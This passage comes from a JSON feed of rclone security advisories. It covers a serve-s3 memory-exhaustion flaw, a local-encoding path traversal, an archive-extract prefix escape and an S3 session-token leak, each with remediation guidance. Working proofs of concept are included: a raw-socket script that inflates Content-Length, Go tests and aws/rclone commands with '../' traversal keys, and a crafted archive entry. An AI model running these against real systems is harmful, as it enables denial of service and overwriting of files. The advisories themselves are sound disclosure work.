{\n    const (\n        limit = int64(1 \u003c\u003c 20)  // 1 MiB configured limit\n        size  = int64(16 \u003c\u003c 20) // 16 MiB attacker declaration\n    )\n\n    up := newMultipartUpload(\n        \"bucket\", \"object\", \"bucket/object\", \"bucket/object\", nil, limit,\n    )\n\n    require.NoError(t, up.waitForTurn(1, size))\n    require.Equal(t, size, up.buffered)\n\n    before := pool.Global().InUse()\n    rw := multipart.NewRW().Reserve(size)\n    t.Cleanup(func() { require.NoError(t, rw.Close()) })\n    after := pool.Global().InUse()\n\n    require.GreaterOrEqual(t,\n        after-before,\n        int(size/int64(pool.BufferSize)),\n    )\n}\n```\n\nRun:\n\n```sh\ngo test ./cmd/serve/s3 -run '^TestOversizedCurrentPartReservation$' -count=1 -v\n```\n\nObserved against `5629f2668c69149bf3d9d8e2a25bb32a2648606e`:\n\n```text\n=== RUN   TestOversizedCurrentPartReservation\n--- PASS: TestOversizedCurrentPartReservation (0.00s)\nPASS\n```\n\nThe passing test means a 16 MiB current part is admitted against a 1 MiB limit and immediately consumes at least sixteen 1 MiB pool pages.\n\n### Loopback HTTP validation\n\nUse a fresh process and a disposable root. The 64 MiB value below demonstrates the effect safely; do not substitute an out-of-memory value on a production host.\n\n```sh\nmkdir -p /tmp/rclone-s3-root/bucket\n\n./rclone serve s3 /tmp/rclone-s3-root \\\n  --addr 127.0.0.1:8080 \\\n  --multipart-streaming-buffer-limit 1Mi\n```\n\nIn another terminal:\n\n```sh\npython3 - \u003c\u003c'PY'\nimport http.client\nimport socket\nimport time\nimport xml.etree.ElementTree as ET\nfrom urllib.parse import quote\n\nhost = \"127.0.0.1\"\nport = 8080\n\n# Anonymous mode is intentional here and matches a supported default setup.\nc = http.client.HTTPConnection(host, port, timeout=5)\nc.request(\"POST\", \"/bucket/object?uploads\", body=b\"\", headers={\"Content-Length\": \"0\"})\nr = c.getresponse()\nbody = r.read()\nassert r.status == 200, (r.status, body)\nupload_id = ET.fromstring(body).findtext(\"{*}UploadId\")\nassert upload_id\nc.close()\n\ndeclared = 64 * 1024 * 1024\npath = \"/bucket/object?partNumber=1\u0026uploadId=\" + quote(upload_id, safe=\"\")\n\ns = socket.create_connection((host, port), timeout=5)\ns.sendall((\n    f\"PUT {path} HTTP/1.1\\r\\n\"\n    f\"Host: {host}:{port}\\r\\n\"\n    f\"Content-Length: {declared}\\r\\n\"\n    \"Connection: close\\r\\n\"\n    \"\\r\\n\"\n).encode(\"ascii\"))\n\n# No body bytes are sent. Inspect the fresh rclone process while this waits:\n# the handler has reserved 64 pool pages despite the 1 MiB reorder limit.\ntime.sleep(5)\ns.close()\nPY\n```\n\nClosing the socket allows the handler to return `IncompleteBody` and release the pages. Keeping multiple sockets open retains multiple reservations. A sufficiently large declared length can terminate the process before a response is returned.\n\nThe final automated validation performed this sequence through the real HTTP listener rather than calling `waitForTurn` or `Reserve` directly:\n\n- Started an anonymous `serve s3` server on loopback with a local streaming-capable backend.\n- Set `MultipartStreamingBufferLimit` to 1 MiB.\n- Created a multipart upload with an HTTP `POST` and parsed its returned upload ID.\n- Recorded `pool.Global().InUse()` after upload creation.\n- Opened a raw TCP connection and sent an `UploadPart` request declaring `Content-Length: 16777216`.\n- Sent no request-body bytes.\n- Observed the in-use count increase by at least sixteen 1 MiB pages while the connection remained open.\n- Closed the connection, producing the expected short-body `unexpected EOF` log rather than completing an upload.\n\nThe central assertion was:\n\n```go\nconst declared = int64(16 \u003c\u003c 20)\nbaseline := pool.Global().InUse()\n\nconnection, err := net.DialTimeout(\"tcp\", server.Addr().String(), 5*time.Second)\nrequire.NoError(t, err)\n_, err = fmt.Fprintf(connection,\n    \"PUT %s HTTP/1.1\\r\\nHost: %s\\r\\nContent-Length: %d\\r\\nConnection: close\\r\\n\\r\\n\",\n    partPath, server.Addr().String(), declared)\nrequire.NoError(t, err)\n\nwantPages := int(declared / int64(pool.BufferSize))\nrequire.Eventually(t, func() bool {\n    return pool.Global().InUse()-baseline \u003e= wantPages\n}, 5*time.Second, 10*time.Millisecond)\n```\n\nIt passed on Windows/amd64 with Go 1.26.2:\n\n```text\n=== RUN   TestSecurityValidationS3MultipartHeaderAllocatesBeforeBody\nNOTICE: serve s3: No auth provided so allowing anonymous access\nERROR : serve s3: unexpected EOF\n--- PASS: TestSecurityValidationS3MultipartHeaderAllocatesBeforeBody (0.06s)\n```\n\nThis demonstrates network reachability, header-only amplification, admission beyond the configured 1 MiB reorder limit, and actual allocation. The test deliberately capped the reservation at 16 MiB; it did not attempt to exhaust the validation host. The same code path reserves pages linearly as the declared length increases.\n\n## Impact Assessment\n\nA network client can force the S3 server to reserve memory proportional to an unverified request header before paying the bandwidth cost of sending the declared body. One large part can exceed the out-of-order buffering limit; concurrent uploads multiply memory consumption.\n\nThe directly observed primitive is memory reservation proportional to an unverified header before any body bytes arrive. At a sufficiently large declared length, or across concurrent requests, this can exhaust process or host memory, terminate the process, or permanently block request goroutines when the global memory semaphore cannot satisfy an oversized acquisition. Those outcomes cause loss of S3 service availability; no confidentiality or integrity impact is required.\n\nUnauthenticated exploitation applies when the operator uses the documented anonymous S3 mode. With `auth_key`, the attacker must possess an accepted key. Binding to loopback or a trusted management network removes untrusted network reachability but does not correct the resource-accounting defect.\n\n## Remediation Guidance\n\nDo not reserve the declared content length before reading verified bytes. Separate the current in-order part from out-of-order buffering:\n\n- For `partNumber == nextPart`, stream the request body directly into the upload pipe while computing MD5. This path does not need a full-part memory buffer merely to return the ETag after the body has streamed.\n- For out-of-order parts, allocate incrementally as body bytes arrive and charge each page against the per-upload budget before allocation. Apply backpressure, spool to a bounded temporary file, or reject the request when the budget is exhausted.\n- Remove `Reserve(contentLength)` from the untrusted HTTP path. If preallocation remains as an optimization, cap it to a small trusted amount and grow only after bytes are received and accounted.\n- Enforce an explicit maximum part size before allocation, including both `Content-Length` and `X-Amz-Decoded-Content-Length`. Match the intended S3 compatibility limit and return an S3-compatible error such as `EntityTooLarge` or `InvalidRequest`.\n- Reject negative, overflowing, or platform-`int`-unrepresentable page counts before arithmetic or conversion.\n- Apply a total server-wide budget across uploads in addition to the per-upload reorder budget. The budget acquisition must use the request context and must fail immediately when a single request exceeds capacity; do not wait forever on `context.Background()` for an impossible weight.\n- Limit concurrent multipart uploads and idle request-body time so a client cannot retain reservations indefinitely.\n- Reconcile the option documentation with the actual guarantee. If one part can exceed the reorder limit for compatibility, state that explicitly, but still enforce an independent safe maximum or incremental allocation.","origin":"UNSPECIFIED","severity":"HIGH","published_at":"2026-09-10T22:45:14.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":7.5,"cvss_vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","references":["https://github.com/rclone/rclone/security/advisories/GHSA-2p48-j3qc-rx9f","https://nvd.nist.gov/vuln/detail/CVE-2026-88045","https://github.com/rclone/rclone/issues/9616","https://github.com/rclone/rclone/commit/7c1dfd99f3e6a22fcefd8686cc478226a15e63a1","https://github.com/rclone/rclone/commit/ab1f458013aaf6356e4bdeca61f7cb9139f8eb86","https://github.com/rclone/rclone/releases/tag/v1.75.1","https://github.com/advisories/GHSA-2p48-j3qc-rx9f"],"source_kind":"github","identifiers":["GHSA-2p48-j3qc-rx9f","CVE-2026-88045"],"repository_url":null,"blast_radius":0.0,"created_at":"2026-09-10T23:00:09.344Z","updated_at":"2026-09-14T14:00:09.602Z","epss_percentage":0.00535,"epss_percentile":0.43547,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS0ycDQ4LWozcWMtcng5Zs4ABxV2","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS0ycDQ4LWozcWMtcng5Zs4ABxV2","packages":[{"ecosystem":"go","package_name":"github.com/rclone/rclone","versions":[{"first_patched_version":"1.75.1","vulnerable_version_range":"= 1.75.0"}],"purl":"pkg:go/github.com%2Frclone%2Frclone"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS0ycDQ4LWozcWMtcng5Zs4ABxV2/related_packages","related_advisories":[]},{"uuid":"GSA_kwCzR0hTQS03cDRtLXF4dnYtZzU2N84ABhhC","url":"https://github.com/advisories/GHSA-7p4m-qxvv-g567","title":"rclone: Local Encoding Path Traversal","description":"## Summary\n\nThe local backend relies on its configurable filename encoder to prevent remote filename data from becoming operating-system path syntax. If a local destination uses an encoding that omits `Dot`, such as `Slash`, `None`, or `Raw`, a remote object's standard-encoded `．．` component is decoded into an actual `..` component. `backend/local.localPath` then passes the decoded name to `filepath.Join`, which resolves the component and produces a path outside the configured local root.\n\nAn attacker who can create object names in a remote source that a victim copies or synchronizes to such a local destination can create or overwrite files outside the selected destination directory, with the permissions of the rclone process.\n\nThe default local encoding includes `Dot` and is not affected by that exact path. This finding requires a non-default local encoding that preserves filesystem path syntax. On Windows, a second confirmed form uses a preserved backslash to turn a remote filename into a native `..\\file` path even when the destination encoding still includes `Dot`.\n\nThis is not merely an odd filename-conversion result. The local remote's configured root is the destination selected by the user, and ordinary backend operations are expected to remain within it. Rclone documents custom and `Raw` encodings as filename-conversion controls; it does not document them as an opt-out from destination confinement. The defect is that confinement depends on an encoding mask instead of an independent post-conversion path check.\n\n## Affected Assets \u0026 Attack Surface\n\n### Confirmed affected versions\n\n- `v1.51.0` through `v1.74.4`\n- Local development commit tested: `a0c09f1381ae93e2a9a33c529d170186c61ad058`\n- Public `master` inspected through commit `c99b2d11edb0986cd2b1190e9fa25a58a3f12661` (2026-07-23)\n\n`v1.51.0` introduced the configurable encoding option for the local backend. Encodings such as `None` or `Slash` could omit `Dot` from that version onward. The explicit `Raw` encoding was introduced later, in `v1.68.0`.\n\n### Required destination configuration\n\nThe destination is a local backend whose effective encoding does not safely encode `.` and `..` components. Examples include:\n\n```text\n--local-encoding Slash\n--local-encoding None\n--local-encoding Raw\n```\n\nThe first PoC below uses `Slash`. Default configurations are not affected because the platform-specific `encoder.OS` masks include `Dot`.\n\nOn Windows, custom encodings that omit `BackSlash` can introduce an additional traversal form: an object-key component such as `..\\marker.txt` can become a native path separator plus `..`, even if the encoding still contains `Dot`. The fix therefore should enforce containment after conversion to the native path format rather than only require the `Dot` flag.\n\n### Attacker-controlled input\n\nThe relevant input is an object name returned by a source backend. The confirmed source case is S3:\n\n- `backend/s3/s3.go:2554` converts raw object keys to rclone's standard path representation with `f.opt.Enc.ToStandardPath`.\n- A raw `..` component becomes the standard component `．．`.\n- When the destination local encoder omits `Dot`, `FromStandardPath` decodes `．．` back to `..`.\n\nAmazon S3 permits relative path components when their left-to-right cumulative count does not exceed the preceding non-relative components. Consequently, an object named:\n\n```text\ntenant/../marker.txt\n```\n\nis valid. When the victim's source remote is rooted at `bucket/tenant/`, the relative object name becomes `../marker.txt` before standard encoding. A malicious S3-compatible endpoint can return equivalent keys without relying on Amazon S3.\n\n### Reachable operations\n\nThe unsafe path resolver is used throughout the local backend, including:\n\n- `backend/local/local.go:798` — `localPath`\n- `backend/local/local.go:803` — `Put`\n- `backend/local/local.go:979` — `Move`\n- `backend/local/local.go:1534` — `Object.Update`\n- `backend/local/local.go:1747` — `Object.Remove`\n- Local directory creation and object lookup operations that call `localPath`\n\nNormal copy and synchronization propagate the source name to the destination:\n\n- `fs/sync/sync.go:518` passes `src.Remote()` to `operations.Copy`.\n- `fs/operations/copy.go:390` uses that remote name for destination `Put` or `Update`.\n\nCommands that copy attacker-controlled source objects to a local destination are therefore in scope, including `copy`, `sync`, and `move`.\n\n## Technical Root Cause Analysis\n\nRclone represents backend filenames using its standard encoding. `lib/encoder/standard.go` defines `encoder.Standard` with `EncodeDot`, causing raw names equal to `.` or `..` to be represented by fullwidth characters:\n\n```text\n.   -\u003e ．\n..  -\u003e ．．\n```\n\nWhen a standard path is converted for a destination backend, `lib/encoder/encoder.go:1214-1240` performs the following transformation for every path component:\n\n```go\nfunc FromStandardName(e Encoder, s string) string {\n\tif e == Standard {\n\t\treturn s\n\t}\n\treturn e.Encode(Standard.Decode(s))\n}\n```\n\nFor a destination encoding that omits `Dot`:\n\n1. `Standard.Decode(\"．．\")` returns `\"..\"`.\n2. The destination encoder leaves `\"..\"` unchanged.\n3. `FromStandardPath` returns a path containing an actual parent-directory component.\n\nThe local backend then constructs the native path without validating containment:\n\n```go\nfunc (f *Fs) localPath(name string) string {\n\treturn filepath.Join(f.root, filepath.FromSlash(f.opt.Enc.FromStandardPath(name)))\n}\n```\n\n`filepath.Join` cleans the resulting path. For example:\n\n```text\nroot:    /tmp/destination\nname:    ../marker.txt\nresult:  /tmp/marker.txt\n```\n\n`Put` creates an object from `src.Remote()`, and `Object.Update` eventually opens that resolved path using:\n\n```go\nos.O_WRONLY | os.O_CREATE | os.O_TRUNC\n```\n\nThere is no subsequent `filepath.Rel` check, anchored filesystem operation, or rejection of an absolute, volume-qualified, `.` or `..` result.\n\nThe default encoder masks the defect because it re-encodes `..` as a literal fullwidth directory name. That is not a sufficient security boundary: the encoding is explicitly configurable, including an officially documented `Raw` value that disables conversion.\n\nThe local backend contains an existing `os.Root` mechanism used while translating symlinks, but ordinary local writes do not use it. In the default non-`--links` mode, `mkdirAll`, `openFile`, rename, and remove operations use ordinary filesystem paths.\n\n## Proof of Concept \u0026 Evidence\n\n### Deterministic regression test\n\nAdd the following test to the `backend/local` package. It requires no external storage service. It uses S3's actual default encoding mask to construct the same standard `Remote()` value that an S3 key with a relative `..` component produces.\n\n```go\npackage local\n\nimport (\n\t\"bytes\"\n\t\"context\"\n\t\"os\"\n\t\"path/filepath\"\n\t\"strings\"\n\t\"testing\"\n\t\"time\"\n\n\t\"github.com/rclone/rclone/fs/config/configmap\"\n\t\"github.com/rclone/rclone/fs/object\"\n\t\"github.com/rclone/rclone/lib/encoder\"\n\t\"github.com/stretchr/testify/require\"\n)\n\nfunc TestLocalEncodingWithoutDotEscapesRoot(t *testing.T) {\n\tctx := context.Background()\n\touter := t.TempDir()\n\n\t// S3's default encoder converts a raw \"..\" object-key component\n\t// into rclone's standard fullwidth representation.\n\ts3Encoding := encoder.EncodeInvalidUtf8 | encoder.EncodeSlash | encoder.EncodeDot\n\tremote := s3Encoding.ToStandardPath(\"../marker.txt\")\n\trequire.NotEqual(t, \"../marker.txt\", remote)\n\n\t// The default local encoding includes Dot and keeps the path confined.\n\tsafeRaw, err := NewFs(ctx, \"safe\", filepath.Join(outer, \"safe\"),\n\t\tconfigmap.Simple{\"encoding\": encoder.OS.String()})\n\trequire.NoError(t, err)\n\tsafe := safeRaw.(*Fs)\n\trel, err := filepath.Rel(safe.root, safe.localPath(remote))\n\trequire.NoError(t, err)\n\trequire.False(t,\n\t\trel == \"..\" ||\n\t\t\tstrings.HasPrefix(rel, \"..\"+string(filepath.Separator)))\n\n\t// Removing Dot converts the same component to a real \"..\".\n\tunsafeRaw, err := NewFs(ctx, \"unsafe\", filepath.Join(outer, \"destination\"),\n\t\tconfigmap.Simple{\"encoding\": \"Slash\"})\n\trequire.NoError(t, err)\n\tunsafe := unsafeRaw.(*Fs)\n\n\t// Place an existing file outside the configured destination.\n\tescaped := filepath.Join(filepath.Dir(unsafe.root), \"marker.txt\")\n\trequire.NoError(t, os.WriteFile(escaped, []byte(\"original\"), 0600))\n\n\tpayload := \"attacker-controlled\"\n\tsrc := object.NewStaticObjectInfo(\n\t\tremote, time.Now(), int64(len(payload)), true, nil, nil)\n\n\t_, err = unsafe.Put(ctx, bytes.NewBufferString(payload), src)\n\trequire.NoError(t, err)\n\n\tgot, err := os.ReadFile(escaped)\n\trequire.NoError(t, err)\n\trequire.Equal(t, payload, string(got))\n}\n```\n\nRun:\n\n```text\ngo test ./backend/local -run '^TestLocalEncodingWithoutDotEscapesRoot$' -count=1 -v\n```\n\nObserved result against commit `a0c09f1381ae93e2a9a33c529d170186c61ad058`:\n\n```text\n=== RUN   TestLocalEncodingWithoutDotEscapesRoot\n--- PASS: TestLocalEncodingWithoutDotEscapesRoot\nPASS\n```\n\nThe test establishes both sides of the issue:\n\n- The default local encoding keeps the generated path under the root.\n- `encoding=Slash` causes `Put` to overwrite a pre-existing file outside the root.\n\n### Confirmed Windows backslash variant\n\nA second regression test was run on Windows using the standard remote name:\n\n```text\n..\\backslash-marker.txt\n```\n\nand a local destination configured with:\n\n```text\nencoding = Slash,Dot\n```\n\nThis mask retains `Dot`, so it is not vulnerable to the fullwidth-dot decoding sequence above, but it omits `BackSlash`. `FromStandardPath` consequently preserves the backslash; after native conversion, `filepath.Join` interprets it as a separator and resolves the preceding `..`. Calling `Put` overwrote a marker next to the destination root. The test passed on Windows/amd64 against commit `a0c09f138`.\n\nThis variant demonstrates why rejecting only configurations that omit `Dot` is incomplete. The security check must run after conversion to the platform's native path representation.\n\n### S3 command-line reproduction\n\nPerform this test only with a disposable bucket and temporary local paths.\n\n```bash\nprintf 'attacker-controlled\\n' \u003e payload.txt\n\naws s3api put-object \\\n  --bucket \"$BUCKET\" \\\n  --key 'tenant/../rclone-traversal-marker.txt' \\\n  --body payload.txt\n\nrm -rf /tmp/rclone-destination\nrm -f /tmp/rclone-traversal-marker.txt\nmkdir -p /tmp/rclone-destination\n\nrclone copy \\\n  \"s3remote:${BUCKET}/tenant/\" \\\n  /tmp/rclone-destination \\\n  --local-encoding Slash \\\n  -vv\n\ntest ! -e /tmp/rclone-destination/rclone-traversal-marker.txt\ntest -f /tmp/rclone-traversal-marker.txt\ngrep -F 'attacker-controlled' /tmp/rclone-traversal-marker.txt\n```\n\nExpected result:\n\n```text\n/tmp/rclone-traversal-marker.txt\n```\n\nis created outside:\n\n```text\n/tmp/rclone-destination\n```\n\nThe S3 key is rooted under the string prefix `tenant/`, so it is returned by a listing of that prefix. Rclone preserves its logical `..` component using standard encoding until the custom local destination encoder decodes it.\n\n## Impact Assessment\n\nThe direct impact is creation or overwrite of files outside the configured local destination as the rclone process user.\n\nRealistic consequences include:\n\n- Destruction or corruption of files accessible to the rclone account.\n- Modification of user startup files, application configuration, service data, or executable search paths.\n- Possible persistence or code execution in the rclone user's security context if the attacker can target a file that another component subsequently executes or loads.\n- Greater host impact when rclone runs as a privileged backup, synchronization, container, or system service account.\n\nDefault local configurations are protected from the demonstrated `..` component by `Dot` encoding. The required non-default encoding materially reduces exploitability but does not make the behavior safe or expected: disabling filename conversion should cause unrepresentable names to fail, not reinterpret an object name as a path outside the selected destination.\n\n## Remediation Guidance\n\n### Enforce containment after native-path conversion\n\nThe primary fix should be in the local backend, after `FromStandardPath` and `filepath.FromSlash` have produced the native path. Security must not depend on any particular encoding mask.\n\nRefactor `localPath`, or introduce a checked equivalent, so it can return an error. The check should:\n\n1. Convert the standard remote name using the configured local encoding.\n2. Convert separators to the native format.\n3. Reject any non-empty result for which `filepath.IsLocal` is false. This rejects absolute, volume-qualified, and lexically escaping paths using platform-aware rules.\n4. Join the result to `f.root`.\n5. Calculate `filepath.Rel(f.root, candidate)` using the normalized `f.root`, not the original user-supplied root string.\n6. Reject `rel == \"..\"`, any relative path beginning with `\"..\" + filepath.Separator`, and any absolute relative result.\n\nIllustrative logic:\n\n```go\nfunc (f *Fs) checkedLocalPath(remote string) (string, error) {\n\tnative := filepath.FromSlash(f.opt.Enc.FromStandardPath(remote))\n\n\t// Some root-level backend operations legitimately resolve the empty name.\n\tif native != \"\" \u0026\u0026 !filepath.IsLocal(native) {\n\t\treturn \"\", fmt.Errorf(\"invalid local object path %q: not a local relative path\", remote)\n\t}\n\n\tcandidate := filepath.Join(f.root, native)\n\trel, err := filepath.Rel(f.root, candidate)\n\tif err != nil {\n\t\treturn \"\", fmt.Errorf(\"invalid local object path %q: %w\", remote, err)\n\t}\n\tif filepath.IsAbs(rel) ||\n\t\trel == \"..\" ||\n\t\tstrings.HasPrefix(rel, \"..\"+string(filepath.Separator)) {\n\t\treturn \"\", fmt.Errorf(\"local object path %q escapes the configured root\", remote)\n\t}\n\treturn candidate, nil\n}\n```\n\nThis is illustrative rather than a complete patch. The implementation should account for the local backend's Windows UNC normalization and return an existing rclone path-validation error type if one is available.\n\nA naive string-prefix comparison must not be used because paths such as `/root-other` share a textual prefix with `/root`. `filepath.IsLocal` protects the decoded relative name, while the independent `filepath.Rel` check verifies the final candidate against the normalized root. Retaining both makes the intended invariant explicit.\n\n### Apply the check to every local filesystem entry point\n\nThe checked resolver must protect all operations that accept an `fs` remote name, not only `Put`. At minimum, review and update:\n\n- `NewObject` and object construction.\n- `Put`, `PutStream`, and `Update`.\n- `Mkdir`, `Rmdir`, and directory metadata operations.\n- `Move`, `DirMove`, and copy/rename helpers.\n- `Remove` and cleanup of failed or partial transfers.\n- Metadata and hash operations that resolve a remote name to a local path.\n\nIf changing `localPath` to return an error is impractical, validate the decoded path before constructing an `Object` or `Directory` and ensure no public backend operation can reach the unchecked helper.\n\n### Consider anchored filesystem operations\n\nThe existing `os.Root` support in `backend/local/local.go` rejects paths that escape its root and may be reusable. Applying anchored operations to all local mutations would provide stronger protection against both lexical traversal and symlink races.\n\nThis requires compatibility review: ordinary local copies currently may intentionally follow pre-existing destination symlinks when symlink translation is disabled. A lexical containment check can fix this finding without changing that behavior, whereas applying `os.Root` universally may intentionally prevent writes through symlinks that point outside the root.","origin":"UNSPECIFIED","severity":"MODERATE","published_at":"2026-08-05T20:48:46.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":6.9,"cvss_vector":"CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:C/C:N/I:H/A:L","references":["https://github.com/rclone/rclone/security/advisories/GHSA-7p4m-qxvv-g567","https://github.com/rclone/rclone/commit/6a69713864b1d8f6edbc03d8af735f9624576d6e","https://github.com/rclone/rclone/releases/tag/v1.75.0","https://github.com/advisories/GHSA-7p4m-qxvv-g567"],"source_kind":"github","identifiers":["GHSA-7p4m-qxvv-g567","CVE-2026-71313"],"repository_url":null,"blast_radius":0.0,"created_at":"2026-08-05T21:00:08.571Z","updated_at":"2026-09-12T21:00:44.481Z","epss_percentage":0.00298,"epss_percentile":0.22227,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS03cDRtLXF4dnYtZzU2N84ABhhC","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS03cDRtLXF4dnYtZzU2N84ABhhC","packages":[{"ecosystem":"go","package_name":"github.com/rclone/rclone","versions":[{"first_patched_version":"1.75.0","vulnerable_version_range":"\u003e= 1.51.0, \u003c= 1.74.4"}],"purl":"pkg:go/github.com%2Frclone%2Frclone"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS03cDRtLXF4dnYtZzU2N84ABhhC/related_packages","related_advisories":[]},{"uuid":"GSA_kwCzR0hTQS00dnI1LXAyZ2MtaDIzcM4ABhhB","url":"https://github.com/advisories/GHSA-4vr5-p2gc-h23p","title":"rclone archive extract allows S3 destination prefix escape via crafted archive paths","description":"### Summary\n\n`rclone archive extract` can write extracted files outside the user-selected destination prefix when extracting a crafted archive. A malicious archive entry containing parent path components such as `../` can escape the requested extraction prefix and create or overwrite sibling objects in the same bucket/path scope.\n\n### Details\n\nThe affected code path is in `cmd/archive/extract/extract.go`.\n\nIn `ArchiveExtract()`, the archive entry path is taken from `f.NameInArchive`. The code strips only a leading `./` prefix and then joins the archive entry path with the destination directory:\n\n```go\nremote := f.NameInArchive\nremote = strings.TrimPrefix(remote, \"./\")\nif dstDir != \"\" {\n    remote = path.Join(dstDir, remote)\n}\n_, err = operations.Rcat(ctx, dst, remote, fin, f.ModTime(), nil)\n```\n\nParent path components such as `../` are not rejected before `path.Join()` is used.\n\nWhen the destination is an S3-style remote such as:\n\n```text\n:s3:bucket/safe/prefix\n```\n\nrclone creates the destination filesystem rooted at `bucket/safe` and treats `prefix` as the destination directory. If the archive contains an entry named:\n\n```text\n../escaped-from-prefix.txt\n```\n\nthen `path.Join(\"prefix\", \"../escaped-from-prefix.txt\")` resolves to:\n\n```text\nescaped-from-prefix.txt\n```\n\nAs a result, the S3 backend uploads the object to:\n\n```text\nbucket/safe/escaped-from-prefix.txt\n```\n\ninstead of the expected destination:\n\n```text\nbucket/safe/prefix/escaped-from-prefix.txt\n```\n\nThis allows an attacker-controlled archive to escape the selected extraction prefix on object-storage remotes.\n\n### PoC\n\nTest environment:\n\n- Windows 11\n- rclone v1.74.3 official Windows amd64 binary\n- Local fake S3 HTTP endpoint\n- Crafted ZIP archive containing `../escaped-from-prefix.txt`\n\nSteps to reproduce:https://drive.google.com/file/d/1P_cLKFgiWSVSATB8500yP28jdzwt9FAt/view?usp=sharing\n\n1. Extract the attached PoC ZIP.\n\n2. Run the PoC script:\n\n```powershell\npowershell -ExecutionPolicy Bypass -File .\\run-poc.ps1 -RcloneExe \"C:\\path\\to\\rclone.exe\"\n```\n\n3. The PoC creates a ZIP archive containing this entry:\n\n```text\n../escaped-from-prefix.txt\n```\n\n4. The PoC starts a local fake S3 endpoint and runs rclone with an S3-style destination prefix:\n\n```powershell\nrclone archive extract malicious.zip :s3:bucket/safe/prefix\n```\n\n5. Observe the fake S3 request log.\n\nExpected safe behavior:\n\n```text\nPUT /bucket/safe/prefix/escaped-from-prefix.txt\n```\n\nObserved behavior:\n\n```text\nPUT /bucket/safe/escaped-from-prefix.txt?x-id=PutObject\n```\n\nThis shows that the archive entry escaped the requested `safe/prefix` destination and was written under `safe/` instead.\n\nThe PoC package includes:\n\n- `run-poc.ps1`\n- `fake-s3-server.py`\n- `README.md`\n- `report-draft.md`\n- captured proof logs\n\n### Impact\n\nAn attacker who supplies an archive that a victim extracts with `rclone archive extract` can cause extracted files to be written outside the destination prefix selected by the victim when the destination is an S3-style object storage remote.\n\nDepending on the victim's configured remote credentials and bucket permissions, this may allow creation or overwrite of sibling objects outside the intended extraction directory/prefix.\n\nThis does not require compromising the S3 service itself. The attack relies on the victim extracting an attacker-controlled archive with rclone into an object-storage prefix.","origin":"UNSPECIFIED","severity":"MODERATE","published_at":"2026-08-05T20:43:47.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":5.0,"cvss_vector":"CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:C/C:N/I:L/A:L","references":["https://github.com/rclone/rclone/security/advisories/GHSA-4vr5-p2gc-h23p","https://nvd.nist.gov/vuln/detail/CVE-2026-59732","https://github.com/rclone/rclone/commit/1a746732441e8158f32fab35924b23701e719a8c","https://github.com/rclone/rclone/commit/d11efe0d58fe6a2d6d90675bb9d8ee5840c51e1d","https://github.com/rclone/rclone/releases/tag/v1.74.4","https://github.com/advisories/GHSA-4vr5-p2gc-h23p"],"source_kind":"github","identifiers":["GHSA-4vr5-p2gc-h23p","CVE-2026-59732"],"repository_url":null,"blast_radius":0.0,"created_at":"2026-08-05T21:00:08.571Z","updated_at":"2026-09-07T05:00:35.897Z","epss_percentage":0.0026,"epss_percentile":0.17534,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS00dnI1LXAyZ2MtaDIzcM4ABhhB","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS00dnI1LXAyZ2MtaDIzcM4ABhhB","packages":[{"ecosystem":"go","package_name":"github.com/rclone/rclone","versions":[{"first_patched_version":"1.74.4","vulnerable_version_range":"\u003c= 1.74.3"}],"purl":"pkg:go/github.com%2Frclone%2Frclone"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS00dnI1LXAyZ2MtaDIzcM4ABhhB/related_packages","related_advisories":[]},{"uuid":"GSA_kwCzR0hTQS1neDRjLTJocXgtY3cycs4ABhhA","url":"https://github.com/advisories/GHSA-gx4c-2hqx-cw2r","title":"rclone: S3 backend does not strip X-Amz-Security-Token on a same-host HTTPS-\u003eHTTP redirect","description":"## Vulnerability Details\n\n**File**: `backend/s3/s3.go`\n**Lines**: 1359-1380 (functions `s3CheckRedirect` / `s3RedirectCrossesHost`)\n\n### Root Cause\nCommit `e7b1eb774` (released in v1.74.3) added a `CheckRedirect` policy for\nthe S3 HTTP client whose purpose is to strip the `X-Amz-Security-Token`\nheader (the AWS STS session token) whenever a redirect chain \"crosses a\nhost\", so the token isn't forwarded to an unintended origin.\n\n`s3RedirectCrossesHost` decides this purely by comparing `url.URL.Host`\n(hostname[:port]); it never looks at `url.URL.Scheme`. A redirect that keeps\nthe exact same host:port but changes the scheme from `https://` to `http://`\ntherefore compares as \"same host\" and `X-Amz-Security-Token` is *not*\nstripped — it is sent again, this time over plaintext HTTP.\n\n```go\nfunc s3RedirectCrossesHost(req *http.Request, via []*http.Request) bool {\n\tif len(via) == 0 {\n\t\treturn false\n\t}\n\thost := via[0].URL.Host\n\tfor _, redirect := range via[1:] {\n\t\tif redirect.URL.Host != host {\n\t\t\treturn true\n\t\t}\n\t}\n\treturn host != req.URL.Host\n}\n```\n\n### Attack Scenario\n1. The user configures an `s3` remote (or `--s3-endpoint` pointing at a\n   self-hosted/third-party S3-compatible service) using temporary\n   credentials that include an STS `session_token` (common for assumed-role\n   / CI / Kubernetes IRSA setups).\n2. The configured endpoint responds to a request with a 3xx redirect to the\n   *same* host:port but with `http://` instead of `https://` (TLS-front\n   misconfiguration, maintenance redirect, or a malicious/compromised\n   storage provider trying to harvest the token).\n3. rclone's S3 HTTP client follows the redirect and re-sends the request,\n   including `X-Amz-Security-Token`, over the now-unencrypted connection to\n   that same host.\n4. Any passive observer on that now-plaintext network path can read the STS\n   session token from the request headers.\n\n### Impact\nDisclosure of the AWS STS session token (`X-Amz-Security-Token`) in\ncleartext for the remainder of its validity window. This is the exact class\nof leak that `e7b1eb774` was written to close — it just doesn't cover the\nscheme-downgrade axis of \"crossing a host\".\n\n### Vulnerable Code\n```go\nfunc s3RedirectCrossesHost(req *http.Request, 